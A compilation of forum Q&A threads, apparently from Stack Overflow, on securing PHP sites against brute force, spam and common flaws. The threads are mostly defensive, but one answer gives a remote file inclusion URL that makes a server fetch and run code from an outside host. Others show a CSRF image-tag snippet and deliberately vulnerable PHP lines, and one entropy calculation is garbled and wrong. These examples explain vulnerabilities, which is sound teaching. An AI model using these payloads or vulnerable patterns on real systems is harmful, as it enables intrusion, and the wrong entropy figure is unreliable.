I'm actually working on a PHP project that will feature a user system (Login,Register,Send lost password to email,..) and I think that this may be very vulnerable to Brute-Force attacks and/or Spam (Send a password to someone's email like 1000 times, etc. use your fantasy)
.
Do today's webservers (Apache, IIS) have some sort of built-in defense against Brute-Force?
What would be the best way to implement an Anti-Spam/Flood system, if I e.g.: want a page not be able to be called more than two times a minute, however another page may be called up to 100 times a minute or so.
I would definitely have to store IP adresses, the time when they last visited a page and the number of visits somewhere - but would it be efficient enough storing it in a text-file/database (MySQL)
Should I use captchas for things like registering/recovering lost passwords?
Are "text" captchas viable? (Something like "What is 5 plus 9 minus 2? ")
The page won't be used by that many users (100-200), do I actually have to implement all these things?
Regarding CAPTCHAs: I would recommend against using CAPTCHAs unless you really need it. Why?
it's ugly.
it's annoying for your users. You shouldn't make them jump through hoops to use your site.
There are some alternatives which are very simple, can be very effective and are entirely transparent to (almost all) users.
Honeypot fields: add a field to your forms with a common name like "website". Beside it, add a label saying something to the effect of "don't write in this box". Using Javascript hide the input and label. When you receive a form submission, if there's anything in the field, reject the input.
Users with JS won't see it and will be fine. Users without JS will just have to follow the simple instruction. Spambots will fall for it and reveal themselves.
Automatic faux-CAPTCHA: This is similar to the above. Add an input field with a label saying "Write 'Alex'" (for example). Using Javascript (and knowing that most automated spam bots won't be running JS), hide the field and populate it with 'Alex'. If the submitted form doesn't have the magic word there, then ignore it.
Users with JS won't see it and will be fine. Users without JS will just have to follow the simple instruction. Spambots won't know what to do and you can ignore their input.
This will safeguard you from 99.9% of automated spam bots. What it won't do, even in the slightest, is safeguard you against a targeted attack. Someone could customise their bot to avoid the honeypot or always fill in the correct value.
Regarding Brute Force blocking: A server-side solution is the only viable way to do this obviously. For one of my current projects, I implemented a brute force protection system very similar to what you describe. It was based on this Brute Force Protection plugin for CakePHP.
The algorithm is fairly simple, but a little confusing initially.
User requests some action (reset password, for example)
Run: DELETE * FROM brute_force WHERE expires < NOW()
Run:
SELECT COUNT(*) FROM brute_force
WHERE action = 'passwordReset'
AND ip = <their ip address>
If the count is greater than X then tell them to wait a while.
Otherwise, run:
INSERT INTO brute_force (ip, action, expires)
VALUES (<their ip address>, 'passwordReset', NOW() + Y minutes)
Continue with the reset password function.
This will allow users to only try resetting a password X times in Y minutes. Tweak these values as you see fit. Perhaps 3 resets in 5 minutes? Additionally, you could have different values for each action: for some things (eg: generate a PDF), you might want to restrict it to 10 in 10 minutes.
Yes, storing an IP address, last accessed and times accessed in a database would be fine.
Using CAPTCHAs for register/recovering password is advised so that e-mail addresses cannot be spammed. Also to stop brute forcing.
Yes, text CAPTCHAs are possible, although far easier for someone to crack and write a script to automate the answer. For a free CAPTCHA, I'd recommend Recaptcha.
That really depends on how much you care about security. I'd certainly recommend using a CAPTCHA as they are simple to implement.
Don't try to implement all the logic in your PHP - the lower in your stack you can implement it, the more efficiently it can be dealt with.
Most firewalls (including iptables on BSD/Linux) have connection throttling. Also, have a look at mod_security for DDOS/brute force attack prevention.
You should design your application around the idea that these kind of attacks will not give the attacker access to the app - at the end of the day there's no way you can prevent a DOS attack, although you can limit its effectiveness.
There's not a lot of value in relying on a consistent IP address from your attacker - there's lots of ways of getting around that.
e.g. keep track of the number of password reset requests between logins by each user. In your password reset form, respond (to the client) in exactly the same way if the user submits an unknown email address. Log invalid email addresses.
HTH
C.
Besides doing what Gazler is telling you, you should also have some way of counting the login attempts in general. It the total of all login attempts are bigger then X then either start using the sleep command or just say the servers have a high load.
Storing IP addresses is good practise for loggin and tracking but I think that just a captcha would stop spamming, brute-force attacks and flooding.
Recaptcha is indeed a good solution.
sure, Your target audience might not be large but if it's in the public domain then it's vulnerable,
text captcha's are cracked easily these days believe me
for an Anti-Spam/Flood system you could log IP addressses (MySQL preferably) and add a time limit login retries
Related
I have login page. Do I need to protect it with Captcha or how should I handle it?
For example, if person knows an username, he can use curl or whatever and try to guess passwords many times. It will use many MySQL queries and it will eat my resources.
So, should I use Captcha for login? Or maybe I should store how many times person tried to guess the password with $_SESSION and if he guessed 10 times password wrong, then I would show Captcha? Is it safe to use such a information in $_SESSION? Maybe I should allow person to enter login only every 10 seconds also with $_SESSION? Would it be 100% safe? Or what would you suggest me?
EDIT: Please read my comment under Eljakim's post.
Don't go for the session approach.
A captcha may help, but it will annoy your normal users.
You may wish to keep track in your database of how many invalid logins have been tried from a specific IP-address or a specific username within (say) the last 10 minutes. If it goes over a specific threshold, just block that username or IP-address for a while.
Don't do this in the session! An attacker will probably not send the cookie that supports the session, or can just spoof them.
3 things:
Use Recaptcha (run by google) More info HERE
Do allow only certain number (10) of login attempts per hour from a unique IP address before timing out for say an hour or two.
Set a cookie when a successful login happens, and don't show the Captcha if the user has this cookie to not annoy regular visitors.
This will take care of all of the hacking attempts. Based on your traffic and how many hacking attempts you receive, you might want to play with the numbers.
Personally I would not opt for a Captcha to handle multiple failed login attempts. Instead, you can keep a counter in your database and increment it on each unsuccessful login attempt. When you reach your determined number of failures (5 or 10 or whatever), you can create a lockout period or ten minutes in your database during which you won't accept logins from that user.
This protects your users from password brute-forcing. $_SESSION will not be effective here, because the tools used for brute-forcing won't likely accept or honor session cookies.
Might I suggest adding a call to sleep() to add some extra frustration for login loaders?
Even a mere two seconds of sleep will cumulatively add to the level of time needed to mount a brute-force attack like you are describing.
DO not worry about your mysql queries, but worry about user's password. Insert line to DB everytime user tries to login (and fails) and select these lines everytime he/she tries to login again) if login attempts > 5 -> restrict to login
You can have multiple layers of security here. One option would be to only allow, say, 5 login attempts every X minutes. This will stop most brute forcers. (You can also ban known brute forcers via IP or whatever) Adding a CAPTCHA would obviously be even more help. After however many wrong tries, just display an obscured image using some of PHP's image features, for example. The more features you add, the safer. Do note though that a CAPTCHA is a hassle for many legitimate users.
It is not really safe to store the try-count in $_SESSION. If I am not accepting your cookies in my bruteforce-script i will get a new session for each request.
If you are trying to prevent any kind of DOS attacks: Limit the amount of requests per IP to an adequate amount per time interval.
If you are just trying to prevent bruteforcing passwords: Use captcha or store the count of failed logins in your DB. (Maybe block a User after 3 failed attempts for an hour or so?)
I allways choose one of two options, either pin code like - three failed password, and you email the user a new password.
Or, have a cooldown periode of 2^(failed logins - 5) - will very fast give huge delay. Ie. 7 failed will give 2^(7-5) = 4 secs delay aso.
I'm currently developing a system which has a functionality where clients can view details of their purchases/renewals/etc by supplying a PIN "number".
A PIN is being used instead of login information because of the type of clients we're targeting. The PIN is printed on documents sent to them.
The view shown when they supply the PIN does not reveal highly sensitive information such as credit card etc, but less sensitive one such as product name, type, price, barcode, repairs etc.
The issue in question is the PIN. I opted to using a random 5 character PIN (0-9, a-z A-Z) - case sensitive.
I'll be removing some homoglyphs ('I','1','l','0','O','rn','vv'), so the actual number of combinations is actually lower.
I've got a couple of questions about this:
Is this practice acceptable?
Should I write a lockout mechanism to "ban" traffic from IPs with a large amount of failed attempts?*
Should I write an error checking system (similar to Luhn's algo in credit card numbers)?
*Should I make use of a captcha system?
As for the CAPTCHA and lockout - I'd go for the CAPTCHA, and delay 1) the clients that fail CAPTCHA, and 2) invalid logins: before checking, sleep 1 sec on 1st attempt, 2s on second, 4s third, 8s on subsequent. This won't inconvenience normal users too much, but it will slow down an attacker significantly. No matter what you do, people will get it wrong - no need to ban them outright.
The checksum - might be useful as a 6th character for detecting typing errors, not for security.
As far as the password strength goes, this is a weak password - I wouldn't use this as the only form of authorization for anything stronger than "sharing pictures of lolcats" - consider a longer one, or your clients might even accidentaly access each other's data (and they tend to get really upset when that happens: "you mean that anyone could see my data like that?!").
A PIN is being used instead of login
information because of the type of
clients we're targeting. The PIN is printed on documents sent to them.
Very strange, but yeah could write it like this. I think you should really reconsider if it is really necessary. But if I understand you correctly you sent the document via snailmail? For example Isn't it possible to send the user a PIN and next have them sign into openID(LightOpenID). I would lock it down to just Google's OpenID provider because these accounts are "safe". This way you have added another level of security. Also Google uses captcha to verify account(make it
"safe").
Is this practice acceptable?
I think it is acceptable, although very strange.
Should I write a lockout mechanism to
"ban" traffic from IPs with a large
amount of failed attempts?*
I think you should write a lockout mechanism should because brute-force hacking password is already easily accomplished, but brute-force hacking a PIN can be done without any effort at all. Although I don't think you should do it via IP, because the end-user could sit behind a router and then he would be blocked. Also hackers could have a botnet to perform these kinds of attacks.
I read today about HashCash thanks to stackoverflow.com and I also found it very interesting. Maybe you could use that to protect yourself against attacks.
Should I write an error checking
system (similar to Luhn's algo in
credit card numbers)?
I don't think so.
Should I make use of a captcha system?
The only true way to prevent automated attacks is CAPTCHA's, so I think you should. Google/Twitter/etc aren't using CAPTCHA's because they are user friendly, but because that is the only working way to stop automated attacks. If you would implement my system that PIN with OpenID from Google then you can skip this step, because Google already has you covered.
First of all, ask not only for the PIN, add something simple the customer knows, like with snail mail systems where you're often ask for your ZIP-Code. That sorts out people that do not know the somehow "shared secret".
The captcha, if it's not annoyingly hard makes sense as it helps to reduce "guess" attempts by bots. As Stefan mentioned, banning by IP is problematic because of shared IPs.
You could also implement some kind of "tar pit" when form posts are wrong based on your error checking, e.g. you delay the processing of incoming connections. A simple algorithmic error check helps you to avoid a useless database lookup of the given PIN.
1) Yes, depends on target audience though.
2) Sometimes it makes sense, sometimes it won't work due to how the system is used, and how many clients are on a shared IP number.
3) What value would it add? Won't that just help people trying to find a working PIN?
4) Depends on target audience, and what kind of captcha.
yes but it depends on the value of the information,if the information value is hight and you think that someone may try to break in you should consider additional protections
It may be a good idea if the information you are protecting have an hight value,in this case you must warn the user that he have a limited numer of possibilityes,create also a log file to monitor failures on code typing and consider that if the user is behind a NAT a lot of user may use the same ip(all the user on an office or in school for example,also connection like fastweb use one ip for a large group of people) so don't block the ip for a long time(15-30s every 3-5 fails should be enoght to avoid brute force attacks,you can double it every time the user fails a second time)and,most important,block only the code immission not the whole site.
it's not needed but you can implement it,as i sayed it also depend on the value of the information
it's a great idea to avoid proxy and crawlers but i recommend something different: use an image with a question like " five plus 2 =" or "what's the color of a red apple?",they're a lot more hard to understand by crawlers but a lot more easy for users.
I recommend also you use mt_rand() to randomize the pin(a lot more efficient than the default random,it's statistically correct random and it's integrated in php as default),the homoglyphs removal should be a good way to avoid error typing but i may recommend also to create a longer code with separators like
AXV2-X342-3420
so the user should understand that's a code and easly count how many character are left or if he entered the wrong code.
I may avoid case sensitive pin because upper case characters are more easy to read and some user will simply paste it lower or upper case only even if you write clearly that the code is case sensitive.
The axiom "If you're going to roll your own security, you've already failed," applies here.
For your 5 character [0-9, A-Z, a-z] pin, you're generating less than 8.27 bits of entropy (64 310 = 2^n). [fixed]
It will take less than one day (a 1,000 guesses/sec, which is very slow) for an attacker to break your system. Is that acceptable? Maybe for trivial systems where bypassing security has very little impact.
Should I write a lockout mechanism to "ban" traffic from IPs with a large amount of failed attempts?
IPs can be spoofed.
Should I write an error checking system (similar to Luhn's algo in credit card numbers)?
That would actually decrease the number of bits in your entropy, making it easier to break into your system.
Should I make use of a captcha system?
If you feel you need the exercise. Captchas have been broken and are useless for anything other than as a speed bump.
Update
Unfortunately, there is no cut-and-dried solution for computer security, as it is still an immature (undermature?) field. Anyone who says, "Oh, do this-and-this and you'll be fine" is skipping one of the most fundamental issues around security.
Security is always a tradeoff
The ultimately secured system cannot be accessed. On the other end, the ultimately-accessible system has no barrier to entry. Obviously, both extremes are unacceptable.
Your job as a software developer is to find the sweet spot between the two. This will depend upon several factors:
The technical expertise of your users
The willingness of your users to put up with security
The cost (time and money) to implement and maintain (i.e., a more sophisticated system will generate more support calls)
The impact a breech would have on your users and company
The likelihood of a breech: are you the US Department of Defense? Visa? You're probably under attack now. Bob's Bicycle Shop in Ojai, CA is on the other end of the spectrum.
From your question, I take it that you're effectively generating their "password" for them. What if you flipped it on its head? Make the pin their account and the first time they log into your system they have to create a password* that is then required from then on.
*Yes, if this is a bank, then this is not a good idea.
I'm working on a small webapp that generates exercise program printouts. A user (ie personal trainer) can create an exercise program, then enter the email address of one of their clients. A link to the exercise program then gets sent to the client, like so...
http://www.myurl.com/generate.php?hash=abiglonghash...
The hash is a sha512 string.
I don't want people to be able to easily discover other people's exercise programs. At the same time I would really prefer to avoid prompting people for additonal password info, etc, when they click on that link. I would like a client to click on the link in their email, and immediately get their program, no fuss.
I'm wondering what thoughts are as to the security of the above, without additional authentication? I know it's not Fort Knox, but it seems about as safe to me as a typical "Forgot your password" system. Any thoughts, suggestions as to how this could be improved, without getting into full-blown user authentication?
Thanks in advance,
A "forgot password" system typically does a few things:
Requires you to "know" something once you get to the page (like your mother's maiden name, your high school, etc)
Sends you your new password in an email. Even if you get to the 'forgot password' URL of another user, the new password is sent to that user's email address on file. This means you would need access to their inbox, as well as their "secret question"
For your purposes, a SHA512 string should be secure enough. Using a SHA512 is similar to using a UUID, in theory. It is long enough to be statistically improbable that someone could guess someone else's hash. The odds of it happening are astronomically high.
Of course, there are always easier ways than guessing to get access to someone else's hash. Things like the user's browser history, intercepting their net traffic, looking over their shoulder, etc. Only SSL combined with a protective login system would protect against those things.
Security always brings up questions like these. Obviously the only way to keep all the people you want out is to keep everyone out! But that is not going to work.
If all you are interested in doing is shallowly hiding a user's workout program from another, then what you are doing is not a problem at all and there are no security issues.
If someone guesses (or investigates and finds) a link to another workout program, then there is nothing you can do to stop it with your system. If that is a concern, then you are going to have to come up with another method to know who you are letting in. If you don't care about people actively trying to get at others' workout programs and only trying to stop this from happening incidentally, then you have no problem.
Technically it's exactly as safe as a login/password pair, 32 chars each, i.e. very. Even brute forcing for random records is not an option. With a billion users and billion brute force attempts per second it would take well over 10^100 times the age of the universe before you found a working hash.
In practice there are other consideration, such as caching proxies, browser history and so forth. I would recommend against doing this with important data, but it's really in how you present and explain it to users.
I think this is not a bad idea as long as you don't allow those "magic tokens" to continue to work forever. You should store the tokens in a database and keep track of whether they've been used. Once a client uses the magic token to reach the system, they really should create a "normal" account with a username and password, like every other site on the internet. After that use, the token should be marked as "used" and further uses of it should be disallowed.
I know questions like this have been asked a hundred of times, but mine is a little different.
I know about all the common and widely-known security issues like SQL injection, XSS etc. But what about issues that often appear but are not recognized most of the times or not judged as vulnerabilities? Are there any?
One thing I've seen a lot that gets developed as a feature and not seen as a security hole until it's too late are state-changing GET requests. These can easily result in cross-site request forgery. For example, your application could have a link to http://mysite.com/logout which logs users out. But a third party site can add code like this:
<!-- on evil.com site -->
<img src="http://mysite.com/logout">
Then when users load the page on evil.com, they are logged out of mysite.com!
The worst problems happen when sites implement an API using state-changing GET requests. For example, if I ran a social networking site with urls like site.com/addfriend, site.com/sendmessage, etc. and I gave out those urls to developers who were going to make applications for my site, the developers would have to deal with an API change when the security vulnerability was discovered.
Using $_REQUEST instead of $_GET or $_POST, which is a bad idea because $_REQUEST also contains cookies, and it opens the door for Variable Fixation
Not really PHP-specific, applies to all the interpreted languages: visibility of .svn/.CVS directories
Here are a few that I've worked on:
Storing passwords as plaintext in a DB
If your site is hacked, hackers have access to all of your users' passwords and emails. Consider how many users have the same password for their email as well as your site.
Storing emails in the same table as your users
If a SQL injection attack gives a hacker access to your user table, one of the only pieces of valuable information is the email address. Keep it in a separate table to make it more difficult for the hacker.
If you don't intend on emailing the user, only store the hash of their email: a hacker that gets access to user emails can sell them to spammers.
Even if you have a password-protected site, do the math as to how secure the password are. I had a friend whose site used a simple 5-digit number for passwords. I cracked it in
about an hour.
If you're sending communications that have value (i.e.: you're performing an operation that uses a significant amount of resources: cpu, memory, etc.), always require a token from the user that's timestamped.
If a hacker finds that you have an operation that costs you $0.0001 every time it's hit, they can farm out a botnet to rack up charges on your name.
Require the user send a hash (a unique ID for the user, a timestamp, and a secret salt) along with a plaintext timestamp. The plaintext timestamp lets you validate that you didn't give them permission last Tuesday, the timestamp in the hash lets you validate that the has belongs with that message, the UID in the has ensures that the hacker didn't jack the request from someone else, and the secret salt in the hash ensures that they didn't generate it on their own.
If you're writing a plugin system for an application, be wary of what you store in private variables. Check out this article I wrote on how to lock it down.
Just a few ideas and things I've dealt with. Hope it helps!
I worked on a pile of junk once where fopen handlers were enabled as was "register globals." The includes looked like:
<?php
include $MY_BASE . '/includes/myLib.inc';
?>
What this allowed anyone to do is remotely execute any code they wanted. Behold:
http://exploitablehost.com/?MY_BASE=http://viagra.cheeper.com/myScript.txt%3f
PHP will fetch the text file over HTTP and execute it locally. Since Apache was running as root... well, you get the idea.
Lack of procedures to protect against social engineering attacks? For example, an attacker calling an office and impersonating someone for the purpose of obtaining passwords.
Poor password-creation, distribution, and protection policy.
FTP account cracking can result in malicious code being uploaded to your site.
Weak/vulnerable third-party hosting servers can result in your site being compromised no matter how much time you spent making it secure.
Here are some of the common pitfalls i have seen:
1. Not escaping entities
It's basic knowledge; ALL untrusted input (especially user input from forms) has to be sanitized before it is being output.
echo $_GET['username'];
2. Not Escaping SQL input
$query = "select * fromt able where id = {$_GET['id']}";
3. Requiring and including files incorrectly
include($_GET['filename']);
4. Double escaping quotes
If magic_quotes_gpc is true, then using addslahes will add one more slash
thereby adding two slashes in all.
PHP has been around for more than 10 years and it matured a lot.
Beware of lax defaults in php.ini.
Many of the posts are not specific to PHP. I am sure there are some language pitfalls but as you see in the posts it is very important to implement best practices in security (like filtering user input). A good start for secure web apps is OWASP. And to be on topic: Security Issues in PHP on OWASP.
Cheers
I'm looking for a way to encrypt a HTML form in PHP in a way so I can then decrypt it in the browser using JavaScript. This should work transparently to the user and JavaScript input validation must also work on the form (I know how to do this). When user submits the form, it must be encrypted again and sent to the server using an "AJAX" request.
Edit: this will be used as an alternative CAPCHA system, so scripts cannot submit forms, unless by some clever design.
Edit 2: I know this is brakeable, everything is. Car locks are brakeable, but we still use them. It is not meant to be ultimate CAPTCHA, but a speed bump, which will drive all but the most persistent people away.
Thank you
This is the same problem as with DRM: User has the ciphertext. The decryption is done on user's system, so user must have the key too. If user has both key and ciphertext, all encryption is pointless.
If you just want to transmit data safe from outside snoopers, why not just use SSL (HTTPS)?
You can use base64.
<?php
echo base64_encode('html source');
<?
and then you can use jquery plugin: http://plugins.jquery.com/project/base64 or javascript http://www.webtoolkit.info/javascript-base64.html to decode that.
If you're trying to use this to stop spam, I've got some bad news for you:
The price of humans who'll spam blogs is falling to zero
This is a reality. On a site I run, I had a captcha system set up that spam was getting through. All but about 2 were coming from poorer regions of the world, so I had suspicions that there were companies paying people to spam. To test this I set accounts created by people in certain regions to be only visible to them and after they posted some content to alert them to the fact that their account was auto hidden. I provided them a form to contact us and complain if they were a legitimate user. Upon doing this we started getting about 10 emails a day from people angry that we had hidden their account, however upon checking the content they had added, they were spammers! It sounds crazy, but unfortunately it now seems to be humans doing the bulk of the spam. The spammers know we use captcha's, so they have adapted. :(
CAPTCHAs are fast becoming useless (if not so already). Adding a link so users can report spam and having karma levels where users are granted admin privileges so that their flagging leads to automatically hiding spam without prior confirmation (like stackoverflow does) is really the only effective way to stop spam now.
For a CAPTCHA, the only way to defeat scripts is something that can only done by a human - such as recognizing something in an image, or doimg some math.
All decryption that's done by the browser can be just as easily done by automated scripts.